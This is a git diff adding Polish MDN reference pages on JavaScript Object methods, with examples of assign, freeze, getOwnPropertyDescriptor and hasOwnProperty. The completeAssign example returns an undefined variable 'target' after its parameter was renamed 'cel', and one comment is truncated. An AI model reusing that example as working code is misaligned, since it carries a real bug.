+var o3 = { c: 3 };
+
+var obj = Object.assign({}, o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }
+ +

Właściwość jest nadpisywana przez ostatni obiekt w liście parametrów, który ma taką samą właściwość.

+ +

Kopiowanie właściwości-symboli

+ +
var o1 = { a: 1 };
+var o2 = { [Symbol('foo')]: 2 };
+
+var obj = Object.assign({}, o1, o2);
+console.log(obj); // { a : 1, [Symbol("foo")]: 2 } (cf. bug 1207182 on Firefox)
+Object.getOwnPropertySymbols(obj); // [Symbol(foo)]
+
+ +

Właściwości nieprzeliczalne oraz te z łańcucha prototypów nie są kopiowane

+ +
var obj = Object.create({ foo: 1 }, { // foo jest właściwością prototypu obiektu obj
+  bar: {
+    value: 2  // bar jest nieprzeliczalną właściwością
+  },
+  baz: {
+    value: 3,
+    enumerable: true  // baz jest własną, przeliczalną właściwością obiektu obj
+  }
+});
+
+var kopia = Object.assign({}, obj);
+console.log(kopia); // { baz: 3 }
+
+ +

Wartości podstawowe zostaną włożone do ich wrapperów

+ +
var v1 = 'abc';
+var v2 = true;
+var v3 = 10;
+var v4 = Symbol('foo');
+
+var obj = Object.assign({}, v1, null, v2, undefined, v3, v4);
+// Wartości podstawowe będą we wrapperach, null i undefined zostaną zignorowane.
+// Zauważ, że jedynie wrapper string'a ma przeliczalne właściwości:
+console.log(obj); // { "0": "a", "1": "b", "2": "c" }
+
+ +

Wyjątki przerwą wykonywanie kopiowania

+ +
var cel = Object.defineProperty({}, 'foo', {
+  value: 1,
+  writable: false
+}); // cel.foo jest właściwością tylko do odczytu
+
+Object.assign(cel, { bar: 2 }, { foo2: 3, foo: 3, foo3: 3 }, { baz: 4 });
+// TypeError: "foo" is read-only
+// Wyjątek został wyrzucony podczas próby zapisania cel.foo
+
+console.log(cel.bar);  // 2, pierwsze źródło zostało skopiowane pomyślnie
+console.log(cel.foo2); // 3, pierwsza właściwość drugiego źródła zostało skopiowana pomyślnie
+console.log(cel.foo);  // 1, tutaj został wyrzucony wyjątek
+console.log(cel.foo3); // undefined, kopiowanie dobiegło końca, foo3 nie zostanie skopiowane
+console.log(cel.baz);  // undefined, trzecie źródło również nie zostanie skopiowane
+
+ +

Kopiowanie operatorów pamięci

+ +
var obj = {
+  foo: 1,
+  get bar() {
+    return 2;
+  }
+};
+
+var kopia = Object.assign({}, obj);
+console.log(kopia);
+// { foo: 1, bar: 2 }, wartość kopia.bar jest wartością zwracaną przez metodę getter właściwości obj.bar
+
+// Funkcja przypisania kopiująca całe deskryptory:
+function completeAssign(cel, ...zrodla) {
+  zrodla.forEach(zrodlo => {
+    let deskryptory = Object.keys(zrodlo).reduce((deskryptory, klucz) => {
+      deskryptory[klucz] = Object.getOwnPropertyDescriptor(zrodlo, klucz);
+      return deskryptory;
+    }, {});
+    // domyślnie Object.assign kopiuje również przeliczalne symbole
+    Object.getOwnPropertySymbols(zrodlo).forEach(sym => {
+      let deskryptor = Object.getOwnPropertyDescriptor(zrodlo, sym);
+      if (deskryptor.enumerable) {
+        deskryptory[sym] = deskryptor;
+      }
+    });
+    Object.defineProperties(cel, deskryptory);
+  });
+  return target;
+}
+
+var kopia = completeAssign({}, obj);
+console.log(kopia);
+// { foo:1, get bar() { return 2 } }
+
+ +

Polyfill

+ +

Ten {{Glossary("Polyfill","polyfill")}} nie wspiera właściwości-symboli, ponieważ ES5 i tak ich nie ma.

+ +
if (typeof Object.assign != 'function') {
+  Object.assign = function(target, varArgs) { // .length of function is 2
+    'use strict';
+    if (target == null) { // TypeError if undefined or null
+      throw new TypeError('Cannot convert undefined or null to object');
+    }
+
+    var to = Object(target);
+
+    for (var index = 1; index < arguments.length; index++) {
+      var nextSource = arguments[index];
+
+      if (nextSource != null) { // Skip over if undefined or null
+        for (var nextKey in nextSource) {
+          // Avoid bugs when hasOwnProperty is shadowed
+          if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) {
+            to[nextKey] = nextSource[nextKey];
+          }
+        }
+      }
+    }
+    return to;
+  };
+}
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-object.assign', 'Object.assign')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-object.assign', 'Object.assign')}}{{Spec2('ESDraft')}}
+ +

Kompatybilność z przeglądarką

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerEdgeOperaSafari
Basic support{{CompatChrome("45")}}{{CompatGeckoDesktop("34")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatOpera("32")}}{{CompatSafari("9")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome("45")}}{{CompatGeckoMobile("34")}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}
+
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/object/constructor/index.html b/files/pl/web/javascript/reference/global_objects/object/constructor/index.html new file mode 100644 index 0000000000..3de20f1350 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/object/constructor/index.html @@ -0,0 +1,49 @@ +--- +title: Object.prototype.constructor +slug: Web/JavaScript/Referencje/Obiekty/Object/constructor +tags: + - JavaScript + - Object + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Object/constructor +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Określa funkcję tworzącą prototyp obiektu. Należy pamiętać, że wartość tej własności jest referencją do funkcji, a nie łańcuchem znaków zawierającym jej nazwę.

+ +

Opis

+ +

Wszystkie obiekty dziedziczą własność constructor z ich prototypu (prototype):

+ +
var o = {};
+o.constructor === Object; // true
+
+var a = [];
+a.constructor === Array; // true
+
+var n = new Number(3);
+n.constructor === Number; // true
+
+ +

Przykłady

+ +

Przykład: Wyświetlanie konstruktora obiektu

+ +

Poniższy przykład tworzy prototyp, Drzewo i obiekt tego typu sosna. Następnie wyświetlana jest własność constructor obiektu Drzewo.

+ +
function Drzewo(nazwa) {
+   this.nazwa=nazwa;
+}
+
+sosna = new Drzewo("sosna");
+console.log("sosna.constructor to " + sosna.constructor)
+
+ +

Przykład ten wyświetla:

+ +
sosna.constructor to function Drzewo(nazwa) {
+   this.nazwa = nazwa;
+}
+
diff --git a/files/pl/web/javascript/reference/global_objects/object/freeze/index.html b/files/pl/web/javascript/reference/global_objects/object/freeze/index.html new file mode 100644 index 0000000000..73e0139f31 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/object/freeze/index.html @@ -0,0 +1,201 @@ +--- +title: Object.freeze() +slug: Web/JavaScript/Referencje/Obiekty/Object/freeze +translation_of: Web/JavaScript/Reference/Global_Objects/Object/freeze +--- +
{{JSRef}}
+ +
Metoda Object.freeze() "zamraża" obiekt, tzn. uniemożliwia dodawania nowych właściwości do obiektu; uniemożliwia usuwanie istniejących właściwości; uniemożliwia zmianę istniejących właściwości; oraz uniemożliwia zmianę prototypu obiektu. W efekcie obiekt jest naprawdę stały. Metoda zwraca obiekt w stanie "zamrożonym".
+ +
 
+ +

Składnia

+ +
Object.freeze(obj)
+ +

Argumenty

+ +
+
obj
+
Obiekt który ma zostać "zamrożony".
+
+ +

Zwracana wartość

+ +

"Zamrożony" obiekt.

+ +

Opis

+ +

Nic nie może zostać dodane ani usunięte z "zamrożonego" obiektu. Każda próba tego wywoła błąd, albo po cichu, albo rzucając wyjątek {{jsxref("TypeError")}}(zawzwyczaj, choć nie zawsze, w przypadku używania {{jsxref("Strict_mode", "strict mode", "", 1)}}).

+ +

Nie ma możliwości zmiany wartości właściwości obiektu. Metody dostępu (gettery i settery) działają bez zmian (sprawiają wrażenie skutecznej zmiany właściwości obiektu). Zwróć uwagę na to, że wartości, które są obiektami w dalszym ciągu mogą być modyfikowane, chyba że również są "zamrożone". Z uwagi na to, że Tablica (Array) jest obiektem, również może zostać zamrożona co uniemożliwi zmianę jej elementów, ich usuwanie oraz dodawanie nowych. 

+ +

Przykłady

+ +

 

+ +

Zamrażanie Obiektów

+ +

 

+ +
var obj = {
+  prop: function() {},
+  foo: 'bar'
+};
+
+// Nowe właściwości mogą być dodawane, istniejące mogą być zmieniane oraz usuwane
+obj.foo = 'baz';
+obj.lumpy = 'woof';
+delete obj.prop;
+
+// Zarówno obiekt przekazywany w funkcji freeze() jak i obiekt zwracany bedą "zamrożone"
+// Nie ma potrzeby przypisywania zwracanego obiektu do zmiennej jeśli chcemy tylko "zamrozić" obiekt przekazywany w funkcji
+var o = Object.freeze(obj);
+
+o === obj; // true
+Object.isFrozen(obj); // === true
+
+// Teraz wszelkie zmiany są niemożliwe
+obj.foo = 'quux'; // brak rezultatu nieskutkujący wyświetleniem błędu
+obj.quaxxor = 'the friendly duck'; // brak rezultatu nieskutkujący wyświetleniem błędu
+
+// przy strict mode tego typu próby spowodują wyświetlenie komunikatu o błędzie
+function fail(){
+  'use strict';
+  obj.foo = 'sparky'; // TypeError
+  delete obj.quaxxor; // TypeError
+  obj.sparky = 'arf'; // TypeError
+}
+
+fail();
+
+// Próby zmian poprzez Object.defineProperty spowodują wyświetlenie komunikatu o błędzie
+Object.defineProperty(obj, 'ohai', { value: 17 }); // TypeError
+Object.defineProperty(obj, 'foo', { value: 'eit' }); // TypeError
+
+// Niemożliwa jest również zmiana prototypu obiektu. Obie instrukcje poniżej wygenerują błąd
+Object.setPrototypeOf(obj, { x: 20})
+obj.__proto__ = { x: 20}
+
+ +

Zamrażanie Tablic (Array)

+ +

 

+ +
let a = [0];
+Object.freeze(a); // Tablica nie może być teraz modyfikowana
+
+a[0]=1; // brak rezultatu nieskutkujący wyświetleniem błędu
+a.push(2); // brak rezultatu nieskutkujący wyświetleniem błędu
+
+// przy strict mode tego typu próby spowodują wyświetlenie komunikatu o błędzie TypeErrors
+function fail() {
+  "use strict"
+  a[0] = 1;
+  a.push(2);
+}
+
+fail();
+ +

"Zamrożony" obiekt jest niemutowalny. Nie jest on jednak stałą. Obrazuje to poniższy przykład.

+ +
obj1 = {
+  internal: {}
+};
+
+Object.freeze(obj1);
+obj1.internal.a = 'aValue';
+
+obj1.internal.a // 'aValue'
+
+ +

 

+ +

To be a constant object, the entire reference graph (direct and indirect references to other objects) must reference only immutable frozen objects.  The object being frozen is said to be immutable because the entire object state (values and references to other objects) within the whole object is fixed.  Note that strings, numbers, and booleans are always immutable and that Functions and Arrays are objects. 

+ +

To make an object constant, recursively freeze each property which is of type object (deep freeze).  Use the pattern on a case-by-case basis based on your design when you know the object contains no cycles in the reference graph, otherwise an endless loop will be triggered.   An enhancement to deepFreeze() would be to have an internal function that receives a path (e.g. an Array) argument so you can supress calling deepFreeze() recursively when an object is in the process of being made constant.  You still run a risk of freezing an object that shouldn't be frozen, such as [window].

+ +
// To do so, we use this function.
+function deepFreeze(obj) {
+
+  // Retrieve the property names defined on obj
+  var propNames = Object.getOwnPropertyNames(obj);
+
+  // Freeze properties before freezing self
+  propNames.forEach(function(name) {
+    var prop = obj[name];
+
+    // Freeze prop if it is an object
+    if (typeof prop == 'object' && prop !== null)
+      deepFreeze(prop);
+  });
+
+  // Freeze self (no-op if already frozen)
+  return Object.freeze(obj);
+}
+
+obj2 = {
+  internal: {}
+};
+
+deepFreeze(obj2);
+obj2.internal.a = 'anotherValue';
+obj2.internal.a; // unde
+ +

 

+ +

 

+ +

Notes

+ +

In ES5, if the argument to this method is not an object (a primitive), then it will cause a {{jsxref("TypeError")}}. In ES2015, a non-object argument will be treated as if it were a frozen ordinary object, and be simply returned.

+ +
> Object.freeze(1)
+TypeError: 1 is not an object // ES5 code
+
+> Object.freeze(1)
+1                             // ES2015 code
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES5.1', '#sec-15.2.3.9', 'Object.freeze')}}{{Spec2('ES5.1')}}Initial definition. Implemented in JavaScript 1.8.5.
{{SpecName('ES2015', '#sec-object.freeze', 'Object.freeze')}}{{Spec2('ES2015')}} 
{{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}}{{Spec2('ESDraft')}} 
+ +

Browser compatibility

+ +
+

{{Compat("javascript.builtins.Object.freeze")}}

+
+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html b/files/pl/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html new file mode 100644 index 0000000000..3f9498b26e --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html @@ -0,0 +1,121 @@ +--- +title: Object.getOwnPropertyDescriptor() +slug: Web/JavaScript/Referencje/Obiekty/Object/getOwnPropertyDescriptor +translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor +--- +
{{JSRef}}
+ +

Metoda Object.getOwnPropertyDescriptor() zwraca deskryptor definiujący stan właściwości (właściwość musi być zdefiniowana bezpośrednio na obiekcie, ponieważ metoda nie sprawdza właściwości w łańcuchu prototypów obiektu) dla podanego obiektu.

+ +

Składnia

+ +
Object.getOwnPropertyDescriptor(obj, prop)
+ +

Argumenty

+ +
+
obj
+
Obiekt, w którym będzie poszukiwana właściwość.
+
prop
+
Nazwa właściwości, dla której będzie pobrany deskryptor.
+
+ +

Wartość zwracana

+ +

Jeżeli obiekt posiada podaną właściwość, wówczas zostanie zwrócony jej deskryptor, w przeciwnym razie zostanie zwrócony {{jsxref("undefined")}}.

+ +

Opis

+ +

Metoda ta pozwala na dokładne zbadanie stanu właściwości. W rzeczywistości właściwość obiektu w JavaScript to nie tylko jej nazwa oraz wartość ale również odpowiadający jej deskryptor. Więcej informacji o atrybutach deskryptora można znaleźć w {{jsxref("Object.defineProperty()")}}.

+ +

Deskryptor właściwości jest obiektem zawierającym poniższe atrybuty:

+ +
+
value
+
Wartość związana z odpowiadającą właściwością (tylko dla deskryptorów danych).
+
writable
+
Jeżeli true odpowiadająca wartość właściwości może być zmieniona (tylko dla deskryptorów danych).
+
get
+
Funkcja, która zwraca getter dla odpowiadającej właściwości lub {{jsxref("undefined")}} jeżeli getter nie występuje (tylko dla deskryptorów dostępowych).
+
set
+
Funkcja, która zwraca setter dla odpowiadającej właściwości lub {{jsxref("undefined")}} jeżeli setter nie występuje (tylko dla deskryptorów dostępowych).
+
configurable
+
Jeżeli true odpowiadająca wartość właściwości może być zmieniona (również ich rodzaj - z właściwości danych na właściwość funkcji dostępowych, i odwrotnie) oraz usunięta z odopowiadającego obiektu.
+
enumerable
+
Jeżeli true odpowiadająca wartość właściwości będzie dostępna podczas iteracji po właściwosciach odpowiadającego obiektu.
+
+ +

Przykłady

+ +
var o, d;
+
+o = { get foo() { return 17; } };
+d = Object.getOwnPropertyDescriptor(o, 'foo');
+// d is { configurable: true, enumerable: true, get: /*the getter function*/, set: undefined }
+
+o = { bar: 42 };
+d = Object.getOwnPropertyDescriptor(o, 'bar');
+// d is { configurable: true, enumerable: true, value: 42, writable: true }
+
+o = {};
+Object.defineProperty(o, 'baz', { value: 8675309, writable: false, enumerable: false });
+d = Object.getOwnPropertyDescriptor(o, 'baz');
+// d is { value: 8675309, writable: false, enumerable: false, configurable: false }
+
+ +

Uwagi

+ +

W ES5, jeżeli pierwszy argument dla podanej metody nie jest obiektem (jest typem prostym), wówczas zostanie wyrzucony wyjątek {{jsxref("TypeError")}}. Natomiast w ES2015, na typie prymitywnym najpierw zostanie wykonana koercja do obiektu.

+ +
Object.getOwnPropertyDescriptor('foo', 0);
+// TypeError: "foo" is not an object  // ES5 code
+
+Object.getOwnPropertyDescriptor('foo', 0);
+// {configurable:false, enumerable:true, value:"f", writable:false}  // ES2015 code
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES5.1', '#sec-15.2.3.3', 'Object.getOwnPropertyDescriptor')}}{{Spec2('ES5.1')}}Initial definition. Implemented in JavaScript 1.8.5.
{{SpecName('ES6', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność przeglądarkowa

+ +
+
+ + +

{{Compat("javascript.builtins.Object.getOwnPropertyDescriptor")}}

+
+
+ +

 

+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/object/hasownproperty/index.html b/files/pl/web/javascript/reference/global_objects/object/hasownproperty/index.html new file mode 100644 index 0000000000..42bb16783b --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/object/hasownproperty/index.html @@ -0,0 +1,150 @@ +--- +title: Object.prototype.hasOwnProperty() +slug: Web/JavaScript/Referencje/Obiekty/Object/hasOwnProperty +translation_of: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty +--- +
{{JSRef("Global_Objects", "Object")}}
+ +

Wstęp

+ +

Metoda hasOwnProperty() zwraca wartość true jeśli obiekt, na którym została wywołana posiada konkretną własność.

+ +

Składnia

+ +
obj.hasOwnProperty(prop)
+ +

Parametry

+ +
+
prop
+
Nazwa ({{jsxref("String")}}) własności lub Symbol, do sprawdzenia.
+
+ +

Wartość zwracana

+ +

A {{jsxref ("Boolean")}} wskazujący, czy obiekt zawiera w sobie określoną właściwość.

+ +

Opis

+ +

Każdy obiekt pochodzący od {{jsxref("Global_Objects/Object", "Object")}} dziedziczy metodę hasOwnProperty. Może być ona użyta do stwierdzenia czy obiekt posiada określoną własność, jako bezpośrednią (direct) własność. W przeciwieństwie do  operatora {{jsxref("Operators/in", "in")}}, metoda hasOwnProperty nie sprawdza w głąb łańcucha własności obiektu.

+ +

Notatka

+ +

hasOwnProperty zwraca true, nawet jeśli wartość właściwości to null lub undefined.

+ +
o = new Object();
+o.propOne = null;
+o.hasOwnProperty('propOne');   // zwraca true
+o.propTwo = undefined;
+o.hasOwnProperty('propTwo');   // zwraca true
+
+ +

Przykłady

+ +

Użycie hasOwnProperty do testowania istnienia własności

+ +

Poniższy przykład określa czy obiekt o posiada własność o nazwie prop:

+ +
o = new Object();
+o.hasOwnProperty('prop');   // zwraca false
+o.prop = 'istnieje';
+o.hasOwnProperty('prop');   // zwraca true
+ +

Własności bezpośrednie kontra odziedziczone

+ +

Poniższy przykład rozróżnia bezpośrednie właściwości z właściwościami dziedziczonymi w łańcuchu prototypów:

+ +
o = new Object();
+o.prop = 'istnieje';
+o.hasOwnProperty('prop');             // zwraca true
+o.hasOwnProperty('toString');         // zwraca false
+o.hasOwnProperty('hasOwnProperty');   // zwraca false
+
+ +

Iterowanie przez właściwości obiektu

+ +

Poniższy przykład ilustruje sposób iteracji po właściwościach obiektu bez wykonywania iteracji na dziedziczonych właściwościach.

+ +
const obj = {
+  prop: 'Wartość',
+  secondProp: 'Wartość 2'
+}
+
+for (const name in obj) {
+  if (obj.hasOwnProperty(name)) {
+    console.log('Znaleziono własność ' + name + ' o wartości ' + obj[name])
+  } else {
+    console.log('Brak własności: ', name)
+  }
+}
+ +
+

Zwróć uwagę, że pętla {{jsxref("Statements/for...in", "for...in")}} tylko iteruje właściwości przeliczalne, a nieprzeliczanych nie zauważa.

+
+ +

Używanie hasOwnProperty jako nazwy właściwości

+ +

JavaScript nie chroni nazwy właściwości hasOwnProperty; tak więc, jeśli istnieje możliwość, że obiekt może mieć właściwość o tej nazwie, konieczne jest użycie zewnętrznej właściwości hasOwnProperty, aby uzyskać poprawne wyniki:

+ +
const obj = {
+  hasOwnProperty: function() {
+    return false;
+  },
+  prop: 'Kolejna właściwość'
+};
+
+obj.hasOwnProperty('prop'); // zawsze zwróci false
+
+// Użyj właściwości hasOwnProperty innego obiektu i wywołaj ją, ustawiając "this" na obj
+({}).hasOwnProperty.call(obj, 'prop'); // zwraca true
+
+// W tym celu można również użyć własności hasOwnProperty z prototypu Object
+Object.prototype.hasOwnProperty.call(obj, 'prop'); // zwraca true
+
+ +

Zwróć uwagę, że w ostatnim przypadku nie ma żadnych nowo utworzonych obiektów.

+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
ECMAScript 3rd Edition.StandardInitial definition. Implemented in JavaScript 1.5.
{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}{{Spec2('ES6')}}
+ +

Wsparcie przeglądarek

+ + + +
{{Compat("javascript.builtins.Object.hasOwnProperty")}}
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/object/index.html b/files/pl/web/javascript/reference/global_objects/object/index.html new file mode 100644 index 0000000000..88ed5060cb --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/object/index.html @@ -0,0 +1,212 @@ +--- +title: Object +slug: Web/JavaScript/Referencje/Obiekty/Object +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/Object +--- +
{{JSRef}}
+ +

Konstruktor Object tworzy wrapper obiektu.

+ +

Składnia

+ +
// Notacja literałowa
+{ [ paraWartoscNazwa1[, paraWartoscNazwa2[, ...paraWartoscNazwaN] ] ] }
+
+// Wywoływany jako konstruktor
+new Object([wartosc])
+ +

Parametry

+ +
+
paraWartoscNazwa1, paraWartoscNazwa2, ... paraWartoscNazwaN
+
Pary nazw (string) oraz wartości (jakakolwiek wartość) przyczym nazwa oddzielona jest od wartości dwukropkiem.
+
wartosc
+
Jakakolwiek wartość.
+
+ +

Opis

+ +

Kostruktor obiektu tworzy wrapper dla danej wartości. Jeżeli podana wartość to {{jsxref("null")}} albo {{jsxref("undefined")}}, konstruktor stworzy i zwróci pusty obiekt. W przeciwnym razie stworzy i zwróci obiekt o takim samym typie jak podana wartość. Jeżeli podana wartość jest obiektem to konstruktor zwróci ten właśnie obiekt.

+ +

Zobacz również Inicjator obiektu / notacja literałowa.

+ +

Właściwości

+ +
+
Object.length
+
Przyjmuje wartość 1.
+
{{jsxref("Object.prototype")}}
+
Pozwala na dodawanie właściwości i metod do wszystkich obiektów typu Object.
+
+ +

Metody

+ +
+
{{jsxref("Object.assign()")}}
+
Kopiuje wszystkie własne właściwości z jednego lub więcej obiektów żródłowych do obiektu docelowego.
+
{{jsxref("Object.create()")}}
+
Tworzy nowy obiekt z podanym prototypem oraz właściwościami
+
{{jsxref("Object.defineProperty()")}}
+
Dodaje do obiektu wymienioną właściwość opisywaną przez podany deskryptor.
+
{{jsxref("Object.defineProperties()")}}
+
Dodaje do obiektu wymienione właściwości opisywane przez podane deskryptory.
+
{{jsxref("Object.freeze()")}}
+
Zamraża obiekt. Uniemożliwia usuwanie oraz modyfikowanie jego właściwości.
+
{{jsxref("Object.getOwnPropertyDescriptor()")}}
+
Zwraca z obiektu deskryptor dla wymienionej właściwości. 
+
{{jsxref("Object.getOwnPropertyNames()")}}
+
Zwraca tablicę zawierającą nazwy wszystkich własnych właściwości obiektu. (Zarówno przeliczalnych jak i nieprzeliczalnych)
+
{{jsxref("Object.getOwnPropertySymbols()")}}
+
Zwraca tablicę zawierającą wszystkie własne właściwości-symbole danego obiektu
+
{{jsxref("Object.getPrototypeOf()")}}
+
Zwraca prototyp określonego obiektu.
+
{{jsxref("Object.is()")}}
+
Sprawdza czy dwie podane wartości są takie same.
+
{{jsxref("Object.isExtensible()")}}
+
Sprawdza czy obiekt można rozszerzyć.
+
{{jsxref("Object.isFrozen()")}}
+
Sprawdza czy obiekt jest zamrożony.
+
{{jsxref("Object.isSealed()")}}
+
Sprawdza czy obiekt jest zapieczętowany.
+
{{jsxref("Object.keys()")}}
+
Zwraca tablicę zawierającą nazwy wszystkich własnych właściwości obiektu. (Tylko przeliczalnych)
+
{{jsxref("Object.preventExtensions()")}}
+
Zabopiega rozszerzaniu obiektu (tj. dodawaniu właściwości).
+
{{jsxref("Object.seal()")}}
+
Zapieczętowuje obiekt, zapobiegając dodawaniu oraz usuwaniu jego właściwości.
+
{{jsxref("Object.setPrototypeOf()")}}
+
Ustawia prototyp obiektu.
+
{{jsxref("Object.values()")}} {{experimental_inline}}
+
Zwraca tablicę zawierającą wszystkie własne, przeliczalne wartości obiektu.
+
+ +

Instancje i prototyp Object

+ +

W Javascript, wsyzstkie obiekty pochodzą od obiektu Object, tymsamym dziedziczą metody i właściwości z {{jsxref("Object.prototype")}}, jednak mogą być one nadpisane. Na przykład, prototypy innych konstruktorów nadpisują właściwość constructor oraz metody toString(). Wszelkie zmiany w prototypie Object są przekazywane do wszystkich obiektów, chyba że właściwości lub metody do których zmiany się odnośiły zostały gdzieś po drodze nadpisane.

+ +

Właściwości

+ +
{{page('/pl/docs/Web/JavaScript/Referencje/Obiekty/Object/prototype', 'W.C5.82asno.C5.9Bci') }}
+ +

Metody

+ +
{{page('/pl/docs/Web/JavaScript/Referencje/Obiekty/Object/prototype', 'Metody') }}
+ +

Przykłady

+ +

Używanie typów null i undefined

+ +

W poniższych przykładach zmienna o przechowuje pusty obiekt Object:

+ +
var o = new Object();
+
+ +
var o = new Object(undefined);
+
+ +
var o = new Object(null);
+
+ +

Tworzenie obiektu Boolean

+ +

W poniższych przykładach zmienna o przechowuje obiekty {{jsxref("Boolean")}}:

+ +
// równoznaczne z: o = new Boolean(true);
+var o = new Object(true);
+
+ +
// równoznaczne z: o = new Boolean(false);
+var o = new Object(Boolean());
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Początkowa definicja. Zaimplementowana w JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.2', 'Object')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-object-objects', 'Object')}}{{Spec2('ES6')}}Dodano Object.assign, Object.getOwnPropertySymbols, Object.setPrototypeOf, Object.is
{{SpecName('ESDraft', '#sec-object-objects', 'Object')}}{{Spec2('ESDraft')}}Dodano Object.entries, Object.values oraz Object.getOwnPropertyDescriptors.
+ +

Kompatybilność z przeglądarką

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/object/proto/index.html b/files/pl/web/javascript/reference/global_objects/object/proto/index.html new file mode 100644 index 0000000000..6d4dd4653e --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/object/proto/index.html @@ -0,0 +1,193 @@ +--- +title: Object.prototype.__proto__ +slug: Web/JavaScript/Referencje/Obiekty/Object/proto +translation_of: Web/JavaScript/Reference/Global_Objects/Object/proto +--- +
+

Ostrzeżenie: Zmiana [[Prototype]] obiektu, ze względu na sposób w jaki współczesny JavaScript optymalizuje dostęp do właściwości, jest bardzo powolną operacją (W każdej przeglądarce!). Efekty modyfikacji łańcucha dziedziczenia są rozległe, nie chodzi tu tylko o wydłużenie czasu potrzebnego na wykonanie operacji obj.__proto__ = ..., skutki wpływają na każdy fragment kodu który odwołuje się do jakiejkolwiek właściwości obiektu, którego [[Prototype]] został zmieniony. Dlatego jeżeli zależy ci na wydajności powinieneś unikać tej operacji. Zamiast tego, stwórz nowy obiekt z porządanym [[Prototype]] za pomocą {{jsxref("Object.create()")}}.

+
+ +
+

Ostrzeżenie: Mimo że w dzisiejszych czasach Object.prototype.__proto__ jest wspierany w niemal każdej przeglądarce, jego istnienie oraz zachowanie zostały ujednolicone w specyfikacji ECMAScript 2015 jedynie jako legacy feature aby zapewnić kompatybilność z przeglądarkami. Dla lepszego wsparcia rekomenduje się używanie {{jsxref("Object.getPrototypeOf()")}}.

+
+ +
{{JSRef}}
+ +

Właściwość __proto__ obiektu {{jsxref("Object.prototype")}} jest operatorem dostępu (metoda getter i setter) która operuje na wewnętrznym [[Prototype]] (na obiekcie lub na {{jsxref("Global_Objects/null", "null")}}) obiektu do którego się odnosi.

+ +

Użycie __proto__ jest kontrowersyjne i podchodzi się do niego z niechęcią. Oryginalnie nigdy nie pojawiło się w specyfikacji EcmaScript, ale nowoczesne przeglądarki postanowiły mimo wszystko to zaimplementować. Dopiero niedawno właściwość __proto__ znalazła swoje miejsce w specyfikacji ECMAScript 2015 aby zapewnić kompatybilność z tymi przeglądarkami. Jest ona jednak przestarzała ze względu na {{jsxref("Object.getPrototypeOf")}}/{{jsxref("Reflect.getPrototypeOf")}} oraz {{jsxref("Object.setPrototypeOf")}}/{{jsxref("Reflect.setPrototypeOf")}} (choć modyfikowanie [[Prototype]] wciąż jest operacją powolną, która powinna być unikana przez wzgląd na wydajność).

+ +

Właściwość __proto__ może być również używana w notacji literałowej aby ustawić [[Prototype]] tworzonego obiektu, jako alterantywa do {{jsxref("Object.create()")}}. Zobacz: inicjalizator obiektu / notacja literałowa.

+ +

Składnia

+ +
var Kolo = function () {};
+var ksztalt = {};
+var kolo = new Kolo();
+
+// Ustawianie prototypu obiektu
+// ZDEPRECJONOWANE. Używamy tego tylko dla przykładu. NIE RÓB TEGO w prawdziwym kodzie.
+ksztalt.__proto__ = kolo;
+
